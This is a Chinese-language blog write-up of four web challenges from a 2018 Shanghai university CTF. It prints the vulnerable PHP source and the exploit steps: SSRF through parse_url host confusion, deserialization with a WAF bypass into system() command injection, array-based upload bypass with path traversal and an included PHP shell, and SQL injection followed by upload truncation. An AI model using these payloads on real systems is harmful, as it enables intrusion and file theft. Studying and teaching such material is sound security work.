Xi4or0uji's blog

2018上海市大学生信息安全竞赛web题解

字数统计: 1.4k阅读时长: 6 min
2018/11/06 Share

记下知识点,当做个笔记好了

web1

这题进去就提示看robots.txt,然后可以看到source.php和flag.php,访问一下source.php可以看见要以admin身份登录,于是post一个admin=1过去,发现还要本地访问,改一下x-client-ip成127.0.0.1,再post一个url=http://www.ichunqiu.com ,然后看见有一张无法解析的图片返回来,而且没有图片包同时发过来,猜测是ssrf利用,尝试一下访问file://www.ichunqiu.com/var/www/html/flag.php 然后就有flag了
这里其实考到了一个parse_url解析url的一个漏洞点,当parse_url解析http://u:p@a.com:80@b.com 的时候,会匹配最后一个@后面符合格式的host,所以解析出来的host是b.com,因此可以在匹配ichunqiu的地址的同时可以访问到其他站点

附上原题源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
error_reporting(0);
include "flag.php";
echo "you need to login as admin!";
echo "<!-- post param 'admin' -->";
if(isset($_POST['admin'])){
if($_POST['admin']==1){
if($_SERVER['HTTP_X_CLIENT_IP']){
if(isset($_POST['url']) && parse_url($_POST['url'])['host']=='www.ichunqiu.com'){
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $_POST['url']);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
$content = curl_exec($curl);
curl_close($curl);
$filename='download/'.rand().';img1.jpg';
file_put_contents($filename,$content);
echo $_POST['url'];
$img="<img src=\"".$filename."\"/>";
echo $img;
}
else{
echo "you need post url: http://www.ichunqiu.com";
}
}
else{
echo "only 127.0.0.1 can get the flag!!";
}
}
}
else{
$_POST['admin']=0;
}

web2

这题进去什么都没有,然后先扫一下后台源码什么的,发现index.php有源码泄露,将文件下下来恢复一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
error_reporting(0);
class come{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim($v));
}
}
function waf($str){
$str=preg_replace("/[<>*;|?\n ]/","",$str);
$str=str_replace('flag','',$str);
return $str;
}
function echo($host){
system("echo $host");
}
function __destruct(){
if (in_array($this->method, array("echo"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}

}

$first='hi';
$var='var';
$bbb='bbb';
$ccc='ccc';
$i=1;
foreach($_GET as $key => $value) {
if($i===1){
$i++;
$$key = $value;
}
else{break;}
}
if($first==="doller"){
@parse_str($_GET['a']);
if($var==="give"){
if($bbb==="me"){
if($ccc==="flag"){
echo "<br>welcome!<br>";
$come=@$_POST['come'];
unserialize($come);
}
}
else
{echo "<br>think about it<br>";}
}
else{
echo "NO";
}
}
else{
echo "Can you hack me?<br>";
}

可以看到,主要是在反序列化漏洞的利用,但是我们利用的时候会自动触发wakeup函数进行waf的检查,所以我们需要绕过他的waf,同时也看到echo函数有个system,因此可以进行命令注入
序列化对象的利用

1
2
3
4
5
$a = new come("echo",array("`cat\${IFS}/flflagag`"));
$b = serialize($a);
echo $b;
echo "<br>";
echo urlencode($b);


到了这里,就剩最后bbb、ccc那些的匹配了,注意&要url编码

web3

题目进去就给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
//error_reporting(0);
//$dir=md5("icq" . $_SERVER['REMOTE_ADDR']);
$dir=md5("icq");
$sandbox = '/var/sandbox/' . $dir;
@mkdir($sandbox);
@chdir($sandbox);

if($_FILES['file']['name']){
$filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
if (!is_array($filename)) {
$filename = explode('.', $filename);
}
$ext = end($filename);
if($ext==$filename[count($filename) - 1]){
die("emmmm...");
}
$new_name = (string)rand(100,999).".".$ext;
move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
$_ = $_POST['hehe'];
if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){
include($_);
}
unlink($new_name);
}
else{
highlight_file(__FILE__);
}

首先可以看到对于不是数组的filename进行了一堆严格的限制,但是没有对数组进行限制,所以我们可以考虑用数组进行绕过,要求filename的end和filename的[count-1]不能相等,所以我们考虑这样绕过

1
2
3
4
5
6
array(2) {
[1]=>
string(1) "abc"
[2]=>
string(3) "php"
}

这样的话,$ext = php,$filename[count(filename)-1] = abc,就能饶过限制了
然后就是文件的上传了

1
2
$new_name = (string)rand(100,999).".".$ext;
move_uploaded_file($_FILES['file']['tmp_name'],$new_name);

这两行导致了文件名不可控,但是我们可以通过目录穿越,传一个文件名为../../../../../../tmp/aaa.php的文件上去,就可以控制文件名了

1
2
3
4
$_ = $_POST['hehe'];
if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){
include($_);
}

这两行限制了上传的文件前六位必须是@<?php,而且文件名字不能包含$new_name,但是问题不大,因为我们现在已经可以任意传我们想要的内容,轻松绕过好吧,然后就能执行文件内容了
最终数据包的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
----------------------------1234567890
Content-Disposition: form-data; name="hehe"
Content-Type: application/octet-stream

/tmp/aaa.php
----------------------------1234567890
Content-Disposition: form-data; name="file[1]"
Content-Type: application/octet-stream

abc
----------------------------1234567890
Content-Disposition: form-data; name="file[2]"
Content-Type: application/octet-stream

../../../../../../tmp/aaa.php
----------------------------1234567890
Content-Disposition: form-data; name="a.php"
Content-Type: application/octet-stream

@<?php echo `cat /flag`;?>
----------------------------1234567890

web4

这题进去是一个后台登录框,在select_guest处可以进行sql注入,imformation_schema.???被ban了,但是可以用information_schema . tables去绕过,select,union,from被替换成空格,然后进行回显注入就行了
注出来管理员的密码拿去爆破一下就进入后台了,要求传去./flag.php,接下来就是文件上传的漏洞
在数据包里面可以看到有个uploaddir和filename,所以猜测最终的文件名是uploaddir+filename,但是我们上传文件的时候会自动加上txt的后缀,所以要想办法截断,一般的%00,%0a,#,%09最后发现%02能截断……

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
----------------------------1234567890
Content-Disposition: form-data; name="action"

submit
----------------------------1234567890
Content-Disposition: form-data; name="fileField"; filename="p "
Content-Type: application/octet-stream

<?php phpinfo();?>
----------------------------1234567890
Content-Disposition: form-data; name="uploaddir"
Content-Type: application/octet-stream

./flag.ph
----------------------------1234567890
Content-Disposition: form-data; name="button"

xxx
----------------------------1234567890

CATALOG
  1. 1. web1
  2. 2. web2
  3. 3. web3
  4. 4. web4